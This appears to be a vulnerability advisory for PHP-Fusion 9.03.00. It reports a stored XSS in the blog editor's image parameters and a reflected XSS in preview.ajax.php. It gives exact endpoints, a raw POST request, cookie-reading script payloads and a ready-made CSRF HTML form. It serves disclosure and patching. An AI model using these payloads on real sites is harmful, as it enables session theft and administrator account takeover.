Vendor Description
“PHP-Fusion is a lightweight open source content management system (CMS) written in PHP.”
Source: https://github.com/php-fusion
Business Recommendation
Update to the latest version of PHP-Fusion. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.
Vulnerability Overview / Description
1) Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with edit post capability) to inject malicious client side scripting code which will be executed in the browser of a user with “Error Log” access privilege (usually administrator or super administrator).
2) Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject malicious client side scripting code which will be executed in the browser of users.
Proof Of Concept
1) Stored XSS vulnerability
A) Edit Blog Post Function
This vulnerability can be exploited by an attacker with “edit post” capability. By editing a blog post, malicious script code can be injected through the affected parameters (defined below). When saving the changes made, the application will store the XSS payload in the database as an error (table <dbtableprefix>_errors). Then, the application will load all the errors to notify the administrator in the “Error Log” notification module. The XSS payload will get executed on any page since it was the application behavior loading all the errors on any page as long as the affected user’s session is active.
Below is the example on how the XSS issue can be exploited.
URL : $DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit§ion=blog_form&blog_id=<id#> METHOD : POST PAYLOAD: '><script>alert(document.cookie)</script> PARAMETER: blog_image, blog_image_t1, blog_image_t2 Content-Type: multipart/form-data; boundary=---------------------------247592002319215 Content-Length: 3051 Origin: $DOMAIN Connection: close Referer: $DOMAIN/fusion/infusions/blog/blog_admin.php Cookie: [snip] [snip] -----------------------------247592002319215 Content-Disposition: form-data; name="blog_image" pp.jpg'><script>alert(document.cookie)</script> [snip]
2) Reflected XSS vulnerability
A) Preview Blog Post Function
This vulnerability can be exploited by an unauthenticated attacker. The XSS payload is injected in the preview.ajax.php script through the parameter “text”. Below is the example on how the XSS issue can be exploited through CSRF.
URL : $DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php METHOD : POST PAYLOAD: <script>alert(document.cookie)</script> Create a HTML file with content as below and open it with browser. <html> <body> <form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST"> <input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" /> <input type="hidden" name="editor" value="html" /> <input type="hidden" name="url" value="/infusion/xxyyzz.php" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Vulnerable / Tested Versions
PHP-Fusion version 9.03.00 has been tested, which was the latest version available at the time of the test.